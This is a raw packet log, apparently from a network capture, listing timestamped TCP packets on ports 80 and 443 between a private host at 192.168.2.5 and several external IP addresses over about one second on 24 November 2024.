Nov 24, 2024 10:24:24.339107990 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.339185953 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.339258909 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.347414017 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.347521067 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.347580910 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.363395929 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.363492966 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.363570929 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.367589951 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.415776014 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.481558084 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.481625080 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.481745958 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.484257936 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.484376907 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.484431982 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.488270044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.488390923 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.488450050 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.493571997 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.493659973 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.493812084 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.498836040 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.498950958 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.499032021 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.504272938 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.504458904 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.504518032 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.509390116 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.509449005 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.509499073 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.514672041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.514779091 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.514830112 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.520013094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.520025969 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.520071983 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.525178909 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.525305986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.525429010 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.530466080 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.530576944 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.534581900 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.535752058 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.535912037 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.538579941 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.541688919 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.541819096 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.542577028 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.547048092 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.547146082 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.547199011 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.551577091 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.551685095 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.551737070 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.556874037 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.557039022 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.557104111 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.562144041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.562237978 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.562289000 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.567404032 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.567502975 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.567559004 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.572726965 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.572855949 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.574608088 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.577960968 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.578085899 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.578574896 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.583295107 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.583353043 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.583451033 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.588637114 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.588727951 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.588782072 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.593782902 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.593859911 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.593905926 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.683032036 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.683166981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.683234930 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.685117006 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.685277939 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.685492992 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.689081907 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.689129114 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.689199924 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.693058014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.693160057 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.693203926 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.697051048 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.697232962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.697288036 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.700942993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.701118946 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.701162100 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.704798937 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.704900980 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.704941034 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.708585024 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.708713055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.708759069 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.712832928 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.712848902 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.712902069 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.715917110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.715986967 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.716023922 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.719364882 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.719521999 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.719573975 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.722856998 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.722954035 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.722999096 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.726293087 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.726411104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.726455927 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.730007887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.730138063 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.730185032 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.733215094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.733258963 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.733510017 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.736684084 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.736785889 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.736929893 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.740087986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.740221977 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.740282059 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.743500948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.743616104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.743666887 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.746985912 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.747107029 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.747158051 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.750446081 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.750627041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.753890991 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.753948927 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.754009008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.754574060 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.757294893 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.757411003 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.757481098 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.760740042 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.760843992 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.760890007 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.764163971 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.764281988 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.764444113 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.767822981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.767949104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.768017054 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.771051884 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.771246910 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.771298885 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.774544954 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.774657011 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.774705887 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.777980089 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.778156042 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.778589964 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.781413078 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.781502008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.782587051 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.784841061 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.784970045 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.785877943 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.785945892 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.785947084 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.786000013 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786043882 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.786081076 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786120892 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.786185026 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786196947 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786207914 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786225080 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.786247969 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.786287069 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786318064 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786330938 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786343098 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.786367893 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.786386013 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.788249016 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.788352966 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.788408995 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.791726112 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.791821003 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.791874886 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.795144081 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.795264959 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.795320034 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.798631907 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.798707962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.798755884 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.802028894 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.802108049 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.802151918 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.805551052 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.805685043 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.805742025 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.808945894 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.809034109 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.809096098 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.874641895 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.875241041 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:24.875261068 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.875790119 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:24.875794888 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.886063099 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.886423111 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:24.886449099 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.886823893 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:24.886828899 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.890259981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.890384912 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.890525103 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.891480923 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.891921997 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.891983032 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.892019987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.894382954 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.894454002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.894458055 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.896863937 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.896917105 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.896955013 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.899199009 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.899252892 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.899341106 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.901614904 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.901731968 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.901799917 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.903846979 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.903973103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.904030085 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.905435085 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.905512094 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.905570984 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.906176090 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.906255960 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.906265020 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.908529043 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.908580065 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.908616066 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.909615040 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:24.910816908 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.910876036 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:24.910922050 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.910959005 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.912987947 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.913050890 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.913208961 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.915199995 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.915333986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.915400028 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.917402029 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.917428017 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.917464972 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.919569969 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.919640064 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.919672012 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.921686888 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.921808004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.921859026 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.923847914 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.923959017 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.924007893 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.925921917 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.926059008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.926105976 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.928095102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.928141117 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.928141117 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.930068970 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.930201054 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.930258036 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.932148933 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.932316065 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.932363987 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.934205055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.934318066 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.934365034 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.936434984 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.936460018 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.936481953 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.938262939 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.938407898 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.938452959 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.940366983 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.940463066 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.940511942 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.942643881 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.942718029 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.942770004 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.944448948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.944494963 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.944564104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.946479082 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.946552038 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.946599007 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.948466063 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.948760986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.948822021 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.950544119 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.950607061 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.950643063 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.952682972 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.952739954 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.952764988 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.954574108 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.954628944 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.954658985 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.956640959 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.956695080 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.956928968 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.958718061 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.958776951 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.958992958 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.960695982 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.960752010 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.960869074 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.962749958 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.962799072 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.962829113 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.964740992 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.964854002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.964910030 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.966828108 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.966923952 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.966970921 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.968835115 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.968880892 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.969005108 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.970860004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.970974922 CET	80	49840	34.116.198.130	192.168.2.5
